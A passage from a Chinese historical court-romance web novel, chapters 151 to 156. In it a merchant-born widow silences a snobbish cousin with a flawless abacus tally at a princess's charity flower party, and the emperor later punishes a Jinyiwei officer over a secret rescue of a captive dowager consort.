临水的敞轩被布置成了临时的“才艺展示区”。一侧长案铺着雪白的宣纸,备有各色颜料,供人即兴作画;另一侧设了琴台,摆着焦尾古琴,已有擅琴的小姐在调试丝弦;不远处还有棋盘、双陆,甚至投壶的箭矢,任由宾客取乐。 薛嘉言坐在自己选定的位置上,安静地看着眼前的喧闹与鲜活。她从前甚少参加这类花会,此刻瞧着女孩们或提笔凝思,或抚琴吟哦,或三两聚在一处对弈谈笑,面上虽矜持,眼中却闪着明亮的光彩,倒也觉得新鲜有趣,透过她们,看到了另一个自己从未踏入过的、属于这个年纪贵族女子的世界。 第151章 展示能力 薛思韫被几位相熟的小姐簇拥着,正站在一盆从暖房里新端出来的、开得正艳的山茶花前。这花花瓣洁白,却洒着不规则的红斑,宛如美人面颊被指甲划破渗出的血痕,别具风致,也极考验画者的功底。 薛思韫显然有备而来。她从容提笔,蘸墨调色,在铺好的宣纸上勾勒点染。她画得认真,周围人也看得专注,不时发出低低的赞叹。约莫一盏茶的功夫,一幅山茶图便已完成。画中花朵形态逼真,颜色过渡自然,构图也算稳妥。 “思韫姐姐画得真好,这红斑最难画,稍不留神便显脏乱,姐姐却处理得恰到好处,宛如真的一般。” “笔法细腻,设色清雅,真不愧是得了梅先生真传呢!” 恭维之声不绝于耳。薛思韫放下笔,脸上带着恰到好处的谦逊笑意,目光却隐隐带着自得。 薛嘉言远远瞥了一眼那画,心中了然。 她知道二房为了培养子女,曾重金聘请了丹青大家梅子凌晚年入府教导薛思韫兄妹三人。 梅先生画风以灵动飘逸、意趣天成著称。而薛思韫这幅画,工整有余,匠气稍重,于梅先生那种捕捉物象神韵的“灵气”上,确实只得皮毛,未见精髓。不过在这等闺阁聚会中,已算上乘了。 薛思韫似乎察觉到薛嘉言的目光,抬眸看向她,忽然扬起声音,笑容甜美地朝着薛嘉言的方向开口道:“堂姐,你怎么一直坐着看热闹?也来展示展示嘛!” 这一声将不少人的目光引到了薛嘉言身上。 薛思韫继续笑着道:“诸位姐妹怕还不知道吧?前阵子破格被朝廷封了诰命的那位女商人,就是我这位堂姐呢!她外祖家吕氏,世代经营,是江南有名的商贾世家,可谓家学渊源。堂姐自己也厉害得很,咱们这些人提笔开始学描红写字的时候,堂姐就开始跟着账房先生学拨弄算盘珠子了!” 她顿了顿,语气夸张道:“我可是听说,吕家打算盘有独门诀窍,手指翻飞,快如疾风,又韵律十足,宛如弹曲!堂姐,今日难得齐聚,不如给我们这些只会琴棋书画的姐妹们开开眼,见识见识你这手绝活?” 话音落下,四周有瞬间的寂静,随即响起一些极其细微的、压抑着的抽气声和交头接耳。 薛嘉言心中倏地一冷,原来薛思韫绕了这么大圈子,真正的目的在这里——当众点明她商贾出身上不得台面,以展示打算盘来加深众人对她出身的印象,毕竟,没有哪家女眷会在花会上表演打算盘。 自前朝起,“重农抑商”已是国策共识,商人地位卑下,其子孙不得参加科举,商户女婚配也受限制。在高门显贵眼中,“商”字往往与“铜臭”“逐利”、“奸猾”相连,是上不得台面的“贱业”。 今日在座的非富即贵,自小接受的便是这般教育,骨子里对商人阶层有着天然的轻视。薛思韫此举,就是要当众羞辱薛嘉言。 无数道目光聚焦在薛嘉言身上,好奇、审视、玩味、甚至毫不掩饰地轻蔑。空气仿佛凝滞。 薛嘉言坦然迎着薛思韫的目光,缓缓站起身,落落大方道:“薛二姑娘见识广博,竟连我外家这点微末技艺也知晓。既然如此,展示一二,倒也无妨。只是这打算盘,总得有个由头,算些什么才好。” 见她非但没有退缩羞窘,反而如此镇定自若地接下了话头,薛思韫怔了一下,心中掠过一丝意外和不安,但话已出口,骑虎难下。 她眼珠一转,立刻有了主意:“堂姐说的是。正好,今日为赈济灾民设了‘慈恩箱’,各家姐妹捐赠的银两和物品清单都已登记在此,尚未汇总清算。不如就劳烦堂姐,帮着算算今日募捐的总数?” 她示意身旁的丫鬟,立刻有人捧上一个红漆托盘,上面整齐码放着一叠写满字的清单。 这差使琐碎繁杂,涉及不同物品的折价,正适合“考验”功底,也暗合了商人逐利算计的刻板印象。 “好。”薛嘉言并无异议,从容走到早已备好的书案前坐下。有人奉上一把乌木算盘。 薛嘉言轻轻抚过冰凉的算盘珠,神情专注起来。她左手拈起最上面一张清单,目光快速扫过,右手五指已灵动地按上算盘。 下一瞬,清脆悦耳的“噼啪”声便如珠玉落盘,叮咚有致地响了起来。只见她右手拇指、食指、中指配合无间,上下翻飞,拨珠的动作快得几乎带出残影,却又带着一种奇异的节奏感和韵律感,果然真像在弹奏一件独特的乐器。她的左手也未停歇,飞速地翻动、浏览、归拢着清单,动作流畅,毫不滞涩。 围观的女眷们起初或许抱着看“奇观”或“笑话”的心态,但渐渐地,都被她那双飞舞的手和那串清脆连贯的声响吸引了。那手指纤长白皙,在乌黑的算盘珠映衬下,显得格外灵巧优美。快速而精准的动作,带来一种近乎舞蹈般的视觉享受,而那富有韵律的算珠撞击声,竟也意外的动听。许多人不知不觉屏住了呼吸,目光紧紧跟随着她的手指。 不过一刻钟左右,那令人眼花缭乱的动作倏然停止。薛嘉言放下最后一张清单,指尖在算盘上最后轻轻一点,抬眸,声音清晰平稳地报出一个数字:“今日募捐,计白银一千八百五十二两,各类首饰布匹药材折价约合白银四百九十四两七钱,总计价值两千三百四十六两七钱。” 报完数,她气定神闲地看向薛思韫。 薛思韫唇边的笑容有些僵硬,她招手唤来两名早已候在偏厅的王府账房先生。两人各自拿了清单和算盘,躲到一旁,噼里啪啦地算了足有两盏茶的时间,期间还低声争论了几句折价标准,这才满头是汗地回来复命。 “回各位姑娘,”年长的账房躬身道,“小人等复核完毕,总计……正是两千三百四十六两七钱,与……与这位夫人所算,分毫不差。” 四周响起一片低低的惊叹。算得快已是不易,在如此嘈杂环境下,面对琐碎清单和需要临时判断的折价,还能如此精准,这份能耐,着实令人侧目。先前那些带着鄙夷的目光,此刻也复杂了许多。 第152章 不懂礼数吗? 薛思韫脸上的笑容几乎挂不住,唇角细微地抽搐了一下,勉强笑道:“堂姐……果真是出身商家,家学渊源。这手算盘功夫,当真是……厉害得很。” 薛嘉言目光平静地扫过四周神色各异的女眷,最后落在薛思韫那强作镇定却难掩僵硬的面容上,朗声道:“薛二姑娘过誉了。这手算盘功夫,确是我外祖吕家所传,自小学起,至今不敢或忘。” 她顿了顿,目光望向围拢在一旁的各家女眷,语气诚挚道:“去岁酷寒,百年罕见。北地冰封,粮价飞涨,薛氏有幸执掌福运商行,手中这把算盘,算的不是盈利,而是如何将江南粮仓之米,以最稳妥的路径、最平抑的价格,运抵北地各州府,让升斗小民得以度荒。” “算盘珠子不仅算的是边关急需的棉衣厚度、羊毛数量,还要算如何赶在大雪封路前,将最厚实的冬衣送到将士手中,让他们能握紧刀枪,替我等守住这太平春日。这笔账,算的是家国安稳,是山河无恙。” 薛嘉言的语气微微扬起,带着一种开阔的气度:“我的算盘还要算与鞑靼诸部的贸易。用我中原的茶叶、丝绸、瓷器,换他们的皮毛、良马、药材。算盘声里,算的是公平互利,算的是以商止戈。商路通了,边市开了,刀兵之气便淡了,往来多了,烽燧狼烟便少了。这算盘拨动的,是财货,更是边关的安宁。” “朝廷赐下诰命,薛氏惶恐。细思之,所褒奖的,或许并非薛氏一人,亦非区区商贾之术。褒奖的是这算盘背后,那份‘以商恤民,以财固边’的用心。褒奖的是在风雪来时,有人愿以商道为桥梁,筑通途于塞外,求太平于边疆。” 在场的女眷被她这番话说得心中激荡,目光都定在薛嘉言身上。 这时,明真郡主恰好陪着雍王妃及几位德高望重的年长贵妇,从水榭另一侧缓缓行来,这边的动静早已吸引了她们的注意。 雍王妃等人的驾临,让原本聚焦在薛嘉言身上的目光顿时分流,众人纷纷敛衽行礼。 雍王妃年近四十,保养得宜,仪态端方,脸上带着惯常的温和笑容,目光扫过围拢的人群和书案上的算盘,含笑问道:“远远就听见这边热闹,可是有什么新鲜趣事?怎么都聚在这儿?” 她话音一落,周围几位按捺不住的姑娘便说起了薛嘉言的算盘和话语,众人你一言我一语,虽不免夹杂着些微复杂的情绪,但话语间对薛嘉言方才的表现和能力,倒多是惊叹与转述她话语中的大义。 雍王妃听着,看向薛嘉言的目光也带上了几分打量和欣赏,她正待开口说些什么,一直静立在雍王妃身后侧的高夫人,忽然向前半步,目光如冷电般射向薛嘉言,眉头紧锁,声音带着毫不掩饰的不悦:“薛氏!” 这一声喝,让周围瞬间安静下来。 高夫人盯着薛嘉言,语气凛冽:“你尚在孝期!重孝在身,理当深居简出,静心守制!这是为人妇、为人媳最基本的道理!你怎么能出来参加这等宴饮聚会?简直糊涂至极!连这点规矩体统都不懂了吗?还不快些回去!莫要在此丢人现眼,平白带累了我们国公府的名声!” 她这话说得又急又厉,仿佛薛嘉言犯了什么十恶不赦的大错,字字句句都敲在“孝道”和“妇德”的铁律上更是表明了薛嘉言的母亲没教导好,让她连这点小事都不懂。 薛嘉言心中冷笑。高夫人这永远居高临下、拿着规矩大棒打压人的做派,真是十年如一日。她这话明着是打自己的脸,斥责自己“不懂规矩”、丢国公府的脸”,可这不也等于在指责下帖子的雍王府“不懂规矩”吗? 果然,站在雍王妃身旁的明真郡主,听到高夫人这番话,两道精心描画的柳叶眉立刻蹙了起来,俏脸上闪过一丝不悦。她微微侧头,带着质询和不满的目光,倏地投向了人群中的薛思韫——这帖子名单,可是薛思韫帮忙拟的,也是薛思韫坚持要请薛嘉言的! 薛思韫早在高夫人开口呵斥时,心里就咯噔一下,暗叫不好,在郡主视线扫过来之前,便已心虚地低垂眉眼,不敢与之对视。 雍王妃脸上的温和笑容也淡了下去,眉头微皱。她侧身,看向女儿,语气带着一丝不易察觉的严厉:“萱儿,这是怎么回事?这位薛宜人既然身有重孝,你如何还给人家下了帖子?这般疏忽,岂是待客之道?” 明真郡主见母亲问罪,又瞥见薛思韫那鹌鹑般的模样,心中又气又恼。气薛思韫办事不牢靠,让自己在母妃和众人面前陷入被动;恼高夫人不识趣,小题大做。 她与薛思韫相识近十年,多少有些情分,此刻虽怒,却也不想当众点出是薛思韫极力主张,只深吸一口气,转向雍王妃,声音放低了些,带着几分“懊悔”解释道:“母妃息怒,是女儿疏忽了。女儿刚回京不久,许多事都不甚清楚。只听闻这位薛宜人能力出众,得朝廷破格封赏,心中钦佩,想着花宴正该请这样的女子来让大家见见,便循例下了帖子。并不知晓薛宜人尚在守孝之期。确是女儿考虑不周,请母妃责罚。” 一时间,花会原本轻快的气氛变得有些凝滞。 薛嘉言目光平静地转向面色冷峻的高夫人,声音清晰而温和: “高夫人说的是,薛氏确实尚在新寡守制之期,按礼本当深居简出,静心守孝。今日贸然前来,于礼而言,确实不妥。” 她随即话锋一转,眼神中带上恰到好处的感激:“郡主殿下初回京城,诸事繁忙,对薛氏家中情况不知晓,原是出于抬爱才下了帖子。薛氏本该立刻婉言辞谢,只是听闻郡主此番花宴,不仅为赏春雅集,更怀有仁善之心,特设募捐以救济今春受冻挨饿的灾民。薛氏前些日子,不过因些微功劳,侥幸得了朝廷封赏,心中常感惶恐,深愧德不配位,恨不能多行善事以报天恩、以慰己心。得知郡主有此善举,便想着,虽身有不便,或许也能亲至,一则当面叩谢王府厚意,二则也想略尽绵力,将一份心意亲自投入那‘慈恩箱’中,亲眼见证郡主善举之成。这才厚颜前来。” 第153章 拖延 听薛嘉言这般说,雍王妃和明真郡主闻言,脸色稍缓。 见高夫人眉头依然紧锁,似乎还想说什么,薛嘉言不疾不徐地继续说道:“薛氏深知服制在身,不敢有丝毫逾越。自入府以来,只在僻静处略坐,未曾参与任何嬉游宴饮,更不曾沾半点酒水。原意不过是当面谢过、捐了心意,略坐片刻以示敬意,便当即刻告退,绝不敢久留搅扰诸位雅兴。” 说罢,她转向雍王妃和明真郡主,福身一礼,说道:“王妃娘娘,郡主,薛氏心意已表,且身有不便,就此先行告退。愿郡主善举圆满,福泽广被。” 她这一番言辞,滴水不漏。 雍王妃听完,脸上的不豫之色早已消散,取而代之的是一丝赞许和满意。薛嘉言这番话,既委婉说明了女儿下帖是“不知情,又极大地宣扬了女儿举办花宴的“善举”美名。 雍王妃颔首,语气温和了许多: “原来薛宜人今日前来,是为了亲自襄助萱儿的善举,捐赠财物。这份心意,着实可贵。你既严守分寸,未曾纵乐,倒也算不得不懂规矩。你身子重,原该多加休养。咱们也不强留,你早些回去歇着也好。” “谢王妃体恤。”薛嘉言再次敛衽行礼,心下稍安。 在拾英的搀扶下,薛嘉言转身,沿着来路,缓缓向王府侧门方向走去。她步伐放得很慢,一是身子确实沉重,二则心中记挂着蓝鹰与红鸾的任务。若是还没有,自己这般提前离开,恐怕会打乱计划。她暗自思忖,或许可以假装突然不适,需要找个地方暂时歇息片刻,如此便能再多为蓝鹰她们争取时间。 主仆二人刚走出花园,踏入一条相对安静的连接内宅与外院的甬道,忽见一个穿着体面的丫鬟从斜里快步走来,对着薛嘉言盈盈一礼,声音清脆: “夫人请留步。郡主有请,请夫人移步暖阁一叙。” 薛嘉言闻言,心中舒了一口气。这倒是个意想不到的转机。不必再费心装病拖延了 “有劳姑娘带路。” 薛嘉言跟着那丫鬟,穿过几重精致的月洞门和游廊,来到一间布置得清雅舒适的内室。 室内熏着淡淡的果香,临窗炕桌上已备好了热茶和几样精巧的点心。薛嘉言坐下,慢慢啜饮着茶水,心中却在不断思量郡主可能的意图,以及蓝鹰、红鸾那边的进展。 没等多久,门帘轻响,明真郡主独自走了进来,脸上带着比在花宴上更亲切几分的笑容。 薛嘉言忙要起身行礼,明真郡主快走两步,轻轻按住了她的肩膀:“薛宜人快别多礼,坐着就好。今日真是对不住,我实在不知你身子重,又尚在孝期,倒累得你跑这一趟。”她语气诚恳,带着歉意。 薛嘉言心知肚明这“不知情”里薛思韫“功不可没”,面上却丝毫不显,只微笑道:“郡主言重了。您事务繁忙,怎会清楚这些细末。倒是妾身,该感谢郡主给了这次机会,让我既能当面表达对王府的谢意,又能为郡主发起的善举略尽绵薄之力,心中甚是感激。” 两人又寒暄了几句茶点、天气,明真郡主话锋一转说道:“薛宜人,其实请你过来,除了致歉,还有件小事……想跟你商量商量。我听闻,你的福运商行,跟关外鞑靼那边的贸易做得不错,我手里有点货,便想着不知能否搭上你的商路,捎带过去,赚点零花钱,也好添些脂粉首饰。” 薛嘉言心中了然,她已菜刀明真郡主应当同她说的是生意的事情。 薛嘉言没想到,这位郡主倒是挺有先见之明。前世,直到她死前,姜玄已经把几位王爷的兵权全部都收回来,只允许养一千府兵护院,俸禄和封赏也都减少了,把他们收拾得服服帖帖。她死的那个月头上,还有王爷派人来京哭穷,说是日子过不下去了。 薛嘉言面上笑容不变,顺着话头问:“郡主太客气了。不知……是什么货品?若在我商行能力范围内,自当尽力。” 明真郡主见她没有一口回绝,神色更松快了些:“是我母妃娘家那边的一点产业。我母妃是福建人,去年族中送来年礼,顺带将闽北的一处茶园给了我母妃。每年能产些茶叶,品质尚可。原本嫌麻烦,都是就近卖给当地的茶商。如今母妃交到我手里,我便想着,若是能销往关外,价格想必比在本地卖要强些。听闻宜人与那边的贸易做得稳妥,便想请你帮个忙,顺路带过去发卖。自然不会让你白忙,利润你拿两成,如何?” 薛嘉言心中快速权衡。茶叶贸易,苏伯远确实在做,渠道是现成的,多带一批货不算太难。但此事关键在于,她不能立刻答应,以免显得过于急切或早有准备。更重要的是,蓝鹰和红鸾那边情况未明,她需要拖延一些时间。 于是,她露出认真思索的神情,细细问道:“郡主这想法甚好。不知那茶园具体在闽北何处?所产是何茶种?每年大约有多少产量?品质等级如何划分?与鞑靼贸易,茶叶需经长途运输,对包装、储存要求不低,成本也需核算清楚。” 明真郡主见她问得专业,便也仔细回答了,大致说了茶园位置、主要产高山乌龙和红茶,产量不算极大但稳定,品质分上中下三等。 薛嘉言听完,沉吟片刻,才道:“不瞒郡主,我们福运商行目前主营乃是粮食、布匹,茶叶一项,涉猎不深。不过,我外祖父生前有位极得用的老掌柜,姓苏,在南北商路都颇有信誉,与我是旧识,是个极为可靠之人。” 她看着明真郡主,提出建议:“待我回府后,立刻寻他在京中的管事商议,看看渠道、价格如何。若是可行,便让他派得力的人,过几日持我的名帖,来王府求见郡主,细细商谈合作细节。郡主看这样可好?” 明真郡主听她安排得如此周到稳妥,心中十分满意,颔首笑道:“如此甚好!有宜人引荐,又是做过茶叶生意的老人,自然是更稳妥了。那我便静候佳音了。” 该谈的事情谈妥,气氛融洽。薛嘉言见时机差不多,不能再拖延,便顺势提出告辞:“郡主事忙,妾身也不便久扰,这就告退了。” 明真郡主心情愉悦,亲自吩咐自己的贴身丫鬟:“好生送薛宜人出去,一直到二门上,看着上了车。” “是。”那丫鬟恭敬应下。 第154章 帝王之怒 薛嘉言在丫鬟的引领下,沿着来路往外走。她步履依旧平缓,心中却掐算着时间。走了约莫一刻钟,到了安置各府等候仆役的院落,领路的丫鬟对守在院落门口的一个婆子道:“妈妈,快去里头请薛宜人身边伺候的人赶紧出来,她们主子要回去了。” 那婆子应了声,转身进了院子。薛嘉言的心微微提了起来,驻足等候。 不多时,那婆子独自快步走了出来,脸上带着些困惑和不安,对领路丫鬟低声道:“姑娘,怪了……里头我都寻遍了,也问了在那儿歇脚的其他家下人,都说……没见着薛宜人带来的那两位。好像……有一阵子没见着她们人影了。别是……在咱们府里走迷了路,或是出什么意外了吧?” 领路丫鬟闻言,眉头也皱了起来。 薛嘉言站在一旁,将这番话听得清清楚楚,心中猛地一沉。 但薛嘉言面上竭力维持着平静,甚至适时地流露出一丝恰到好处的惊讶和担忧:“怎会如此?” 正在这时,薛嘉言身后不远处,响起了蓝鹰的声音:“奶奶,您这就要回去了吗?” 这声音如同天籁,瞬间驱散了周遭紧绷的诡异气氛。薛嘉言倏然转身,只见蓝鹰和红鸾正从小径的路口转出来,两人一个提着包袱,一个拿着盒子,步履从容,面色平静。 蓝鹰几步走上前,对着薛嘉言和领路丫鬟福了福身,笑盈盈地解释道:“方才在那院里候着,见日头偏西,风也凉了,想着奶奶身子重,怕是禁不住。便去马车里拿了药油和一件厚些的披风。” 薛嘉言心中那根紧绷的弦,终于缓缓松下。她面上不露分毫异样,只状若无意地轻轻“嗯”了一声道:“既如此,便走吧。” “是。”蓝鹰和红鸾齐声应道,自然而然地站到了薛嘉言身后,与拾英一同,陪着她往外走。 直到走出王府侧门,薛嘉言才真正将提着的那口气,缓缓地、彻底地吐了出来。 车夫放下脚凳,拾英和红鸾小心地搀扶薛嘉言登上马车。蓝鹰最后一个上去,放下车帘,将喧嚣隔绝在外。 马车内部空间宽敞,布置舒适。车轮刚开始粼粼转动,蓝鹰便迅速凑到薛嘉言耳畔,用只有两人能听到的气音,极快地说道:“一切顺利,未留痕迹。您别担心。” 马车沿着街道平稳行驶,薛嘉言靠着软垫,正想放松片刻,忽见蓝鹰眉心蹙了一下,轻轻撩开车窗纱帘的一角,向外望去。 薛嘉言也顺着她的目光看过去,马车恰好经过雍王府气派的正门,薛嘉言一眼看到了两个熟人! 一身华服、珠翠耀眼的晖善长公主,正从一辆奢华的双驾鎏金马车上,由侍女搀扶着款款而下。她妆容精致,眉目间却带着一贯的矜傲与一丝不易察觉的烦躁。而站在她马车旁,身着飞鱼服、腰佩绣春刀,面色沉肃、眉心紧蹙的,赫然是苗菁! 只见晖善长公主站稳后,并未立刻进门,而是侧身,朝着苗菁的方向,倨傲地伸出了一只手,红唇开合,显然说了句什么。距离太远,薛嘉言听不真切。 苗菁站在原地,身形挺拔如松,并未去搀扶,而是同样开口回应了几句。他脸上没什么表情,但紧蹙的眉头和紧绷的下颌线,显露出他此刻心情不豫。 晖善长公主听完,脸上的笑容淡了淡,甚至隐约沉了下来。她盯着苗菁看了片刻,忽地一甩宽大的织金衣袖,径直转身,不再理会他,昂首向王府大门内走去。她身后的侍女太监连忙簇拥跟上。 苗菁则沉默地站在原地,目送长公主的背影消失在门内,才迈开步子,跟在了队伍的最后方,一同进了王府。 薛嘉言放下车帘,心中波澜再起。她也算知道些晖善长公主的为人,不由为苗菁和郭晓芸担忧起来。 夜里,长宜宫灯火通明,御案后,年轻的帝王面沉如水,烛光在他俊美的侧脸上投下明暗不定的阴影,更添几分迫人的威压。 苗菁垂手肃立在御案前,一身锦衣卫副指挥使的官服在灯下显得格外挺括,却也衬得他此刻低垂的头颅姿态更加恭谨,甚至带上了几分请罪的意味。 “啪”的一声轻响,姜玄将手中一份奏章扔在了案上,目光如寒冰利刃,直射向苗菁:“你好大的胆子!” 声音不高,却字字千钧,砸在空旷的殿内,激起无形的回响。 苗菁立刻单膝跪地,头颅垂得更低:“臣有罪,请皇上责罚。” 姜玄豁然起身,绕过御案,踱步到苗菁面前,居高临下地看着他,“你自然有罪!谁给你的权力,让她去冒这样的险?你竟敢让她带着身孕,去那种地方为你打掩护?” 他胸口微微起伏,显然怒意难平。 苗菁感受到皇帝澎湃的怒意,不敢辩解“女眷花宴通常安全,不会出事”这种理由,更不敢提自己正是考虑到薛嘉言与皇帝非同一般的关系,认为她才是最可靠、最不会背叛此等绝密任务的人选。此刻任何解释,在帝王的盛怒与后怕面前,都苍白无力,甚至可能火上浇油。 他只能将头埋得更深,重复道:“臣思虑不周,行事鲁莽,险陷宜人于危境,罪该万死。请皇上重罚。” 姜玄盯着他看了片刻,胸膛剧烈起伏了几下,似在强行压抑翻腾的情绪。 第155章 太妃秘辛 良久,姜玄缓缓吐出一口浊气,转身走回御案后坐下,声音恢复了帝王的冷硬,却比刚才少了几分暴怒:“朕念你此次救人有功,且……她平安归来。但死罪可免,活罪难逃。罚俸一年,自己去诏狱领二十廷杖,以儆效尤。” “臣……谢皇上恩典。”苗菁叩首,心中并无怨怼,反而松了口气。罚俸杖责已是格外开恩,这顿打,他领得心甘情愿。 惩罚已下,姜玄胸中的闷气似乎消散了一些。他靠回椅背,抬手揉了揉眉心,声音里透出一丝不易察觉的疲惫与关切:“人送到安全的地方了?太妃娘娘……她怎么样?可曾受伤?” 苗菁仍旧跪着,闻言立刻回道:“启禀皇上,甄太妃已秘密送至京郊枫林山庄安顿。臣已命可靠人手严加护卫,一应起居用度皆按宫中旧例,不敢怠慢。太妃娘娘除了清减些许,精神尚可,身上并无明显伤痕。想来……但太妃身份特殊,雍王亦有所顾忌,未敢施加刑辱。” 听到这些,姜玄紧绷的肩膀松弛了一分。他闭上眼,眼前仿佛又浮现出冷宫里,那个寒冷时给他取暖、生病时予他关爱的长辈。那是他黑暗童年里,为数不多的、带着温度的微光。 “安排人好生伺候,让太妃静心修养几日。所需药材补品,直接从内库支取,用最好的。” “是,臣遵旨。” 姜玄顿了顿,又道:“朕过些时日再去看望她。” 他了解甄太妃的性子,当年在宫中便是出了名的清冷孤傲,宁折不弯。如今历经劫难,被人囚禁,正是最为狼狈脆弱之时。以她的骄傲,定然不愿以这般模样见到故人。让她先休养好,恢复些气力心神,再见不迟。 “皇上体恤,太妃娘娘定能感念圣恩。”苗菁应道。 “雍王为何要软禁太妃?查到原因了吗?” 苗菁保持着躬身回话的姿势,沉声道:“回皇上,据臣初步探查,当年先帝大行后,太妃娘娘也在应殉葬的名单上。只是殉葬之前几日,太妃娘娘便先病死,早于其他太妃先进了皇陵。或许是有心人算计,也或是娘娘自己早有准备,用了李代桃僵之计,使得皇陵中虽有‘甄太妃’的牌位,但真人却假死脱身,化名‘方清微’,出家为道。这几年,娘娘一直在西北一带的名山道观中清修,深居简出,几乎与世隔绝。” 他略一停顿,继续道:“变故发生在去年年底。雍王府为祈福去做法事,曾派人前往三清观。或许就是在那个时候,雍王活着雍王妃无意中窥见了太妃娘娘的真面目,认出了她。” “雍王动了心思,使了手段,将太妃娘娘从那清修之地秘密‘请回了雍王府,软禁起来。臣推测,雍王此举,其意多半在于‘未雨绸缪’。太妃娘娘身份特殊,又与皇上您有旧日恩情。雍王担心此行有风险,便把太妃带来,以此作为要挟,迫使皇上在某些事情上让步。” 姜玄静静地听着,脸上没有太多表情,但那双深邃的眼眸中,却翻涌着冰冷的怒意与了然。“嗯。”他淡淡应了一声,算是认可了苗菁的推测。 姜玄不再纠缠于此,话锋陡然一转,语气变得更加冷峻:“五王的王府,都要给朕看紧了,一点风吹草动都不能放过。另外,”他抬眼,目光如电射向苗菁,“去跟长公主说,让她把尾巴给朕收拾干净!上次戚少亭,是如何得知封地那件事的?朕需要一个解释!” 提起晖善长公主,苗菁的脸色不易察觉地黑沉了些许,眉心也几不可察地蹙了一下。他沉声回道:“启禀皇上,五位王爷在京的府邸,臣已加派了人手,明暗结合,严密监控,绝不会有失。至于戚少亭那件事……” 他略一斟酌措辞,才继续道:“长公主殿下说,此前戚少亭曾数次前往公主府,为殿下修复一批珍贵的古画。许是他在书房逗留时,无意中见了某些不该看到的信件或文书。殿下已严查此事,并将书房内外重新修整布置过,换掉了所有可能泄密的物件与仆役,向臣保证,类似纰漏绝不会再发生。” 姜玄听完,声音带着威压道:“你去告诉她,泱泱大兖,幅员辽阔,朕有的是地方!若她管不好,朕便将人挪走,而她则滚回封地去,不许再回来!” 苗菁听到皇帝又要自己前往长公主府传口谕,眉心再次蹙紧,心底涌起一阵难以言喻的烦躁与无奈。但他不敢有丝毫表露,只能深深低下头,将所有的情绪压在心底,恭顺应道:“是,臣遵旨。明日便去长公主府。” 姜玄瞥了他一眼,挥了挥手,示意他退下。 苗菁从长宜宫那片令人窒息的威压中退出来,并未回府,而是径直去了北镇抚司。夜色已深,诏狱刑房内灯火幽暗,阴森森的。 行刑的校尉是他的老部下,见苗菁亲自来领这二十廷杖,脸上露出为难与不忍,搓着手低声道:“大人,这……属下……” 苗菁褪下外袍,平静地伏在刑凳上,不容置疑道:“规矩就是规矩,皇上亲口罚的,岂能儿戏?你照常行刑便是,莫要留手。否则,回头我皮肉无伤,岂非欺君?少不得还要连累你们再打一次,到时候伤得更重。” 那校尉见他心意已决,咬了咬牙,拱手道:“那……大人,得罪了。” 廷杖落下,破风之声在寂静的刑房里格外清晰。校尉终究不敢用尽全力,但也未敢过于敷衍。二十杖结结实实挨下来,苗菁额角渗出细密的冷汗,后背至臀腿火辣辣地痛成一片,他咬着牙,一声未吭,只指甲深深掐进了掌心。 行刑毕,校尉连忙上前搀扶,脸色发白:“大人……” “无妨。”苗菁借力站起,身形晃了晃,脸色苍白如纸。每动一下,都牵扯着伤处,痛得他眼前阵阵发黑。这般模样,自然是骑不得马了。 薄广赶着马车把苗菁送回去。到了家后,苗菁硬撑着要下马车,薄广连忙上前,低声道:“大人,属下备了担架……” “不必。”苗菁摆手,他怕自己被抬进去,会吓着郭晓芸。 薄广眼珠子转了转,笑嘻嘻地凑近了些,压低声音道:“大人,这受了伤,若是没人心疼、没处诉苦,那自个儿硬撑着也就撑着了。可若明明有人心疼挂念,还非要咬牙硬挺,那不是傻么?白白浪费了别人的关心不是?” 苗菁闻言,脚步一顿,侧头瞥了薄广一眼。 第156章 手段 有人心疼便不该遮掩着。 是啊……苗菁心中豁然开朗,不再坚持,对薄广点了点头:“……那就抬进去吧。” “得令!”薄广笑容更盛,连忙指挥着两个亲兵,轻手轻脚地将苗菁安置在软担架上,小心翼翼地抬进了马车,又一路平稳地抬进了苗府内院,径直送到了苗菁住的院落。 郭晓芸原本已准备歇下,听得小丫鬟慌慌张张来报,说“苗大人受了伤,被抬回来了”,她心头猛地一坠,慌忙扯过一件外衣穿上便冲出了房门,疾步朝着苗菁的院子跑去。 夜风吹得她发丝微乱,她却浑然不觉,一颗心全系在了那个从小护着她、如今又给了她安身之处的男人身上。 冲进屋内,浓重的药油气味扑面而来。只见苗菁正趴在床榻上,后背盖着薄被,脸色在灯光下苍白得吓人,额发被冷汗濡湿,贴在颊边,平日锐利明亮的眼眸此刻半阖着,似是疲惫不堪。 “苗三弟!”郭晓芸的呼吸一滞,声音带着自己都未察觉的颤抖。她快步走到床边,蹲下身,仰头看着他,眼圈瞬间就红了,“你……你这是怎么了?好好的,怎么会被打成这样?”她伸出的手停在半空,想碰触又怕弄疼他,指尖微微发抖。 苗菁听到她的声音,费力地睁开眼,对上她盈满泪水的眸子,心中软软的,疼痛似乎都减轻了些。他努力扯出一个安抚的笑容,声音因疼痛而有些低哑:“晓芸姐,别怕。没事……是我办差出了点岔子,皇上小惩大诫,打了几板子而已。看着吓人,其实不重,将养几日就好了。” “你骗人!”郭晓芸的眼泪终于扑簌簌滚落下来。她虽不涉官场,但也听说过锦衣卫诏狱的厉害,那廷杖岂是儿戏?什么“不重”,分明是安慰她的话。看着他苍白的脸,闻着那刺鼻的药油味,她心疼得无以复加。 “真的……嘶……”苗菁还想辩解,不小心牵动伤处,忍不住抽了口冷气。 这一声让郭晓芸更慌了神,眼泪掉得更凶:“你别动!别说话了!”她连忙用袖子胡乱抹了把脸,强迫自己镇定下来。现在不是哭的时候,得照顾他。 她站起身,先仔细查看了薄广带来的伤药,又吩咐吓得呆立一旁的丫鬟:“快去打盆干净的温水来,要温的,不要太烫。再让厨房随时备着清淡易消化的粥菜。” 丫鬟应声而去。郭晓芸拧了热帕子,小心翼翼地给擦拭苗菁脸上和颈间的冷汗。她的动作极其轻柔,仿佛对待易碎的珍宝,眼神专注而心疼。 苗菁趴在枕上,嗅着她身上传来的、独属于她的淡淡馨香,听着她轻柔的声音,后背火辣辣的疼痛似乎真的被一种奇异的温暖和熨贴所取代。 他忽然觉得,薄广那小子,说得真对。 接下来的几日,郭晓芸几乎寸步不离地守在苗菁院里。起初她亲自盯着丫鬟熬药、换药。但不知为何,丫鬟们明明手上力道很轻了,可每次苗菁都不住痛苦闷哼,郭晓芸实在按捺不住,从丫鬟手里接过药亲自帮苗菁上药。 “晓芸姐,还是你细心。” 苗菁闷闷说着,埋在枕头里的脸上,露出得逞的微笑。 他开始享受着这份难得的、被她全心照顾的时光,贪恋着她眼中毫不掩饰的关切与温柔。 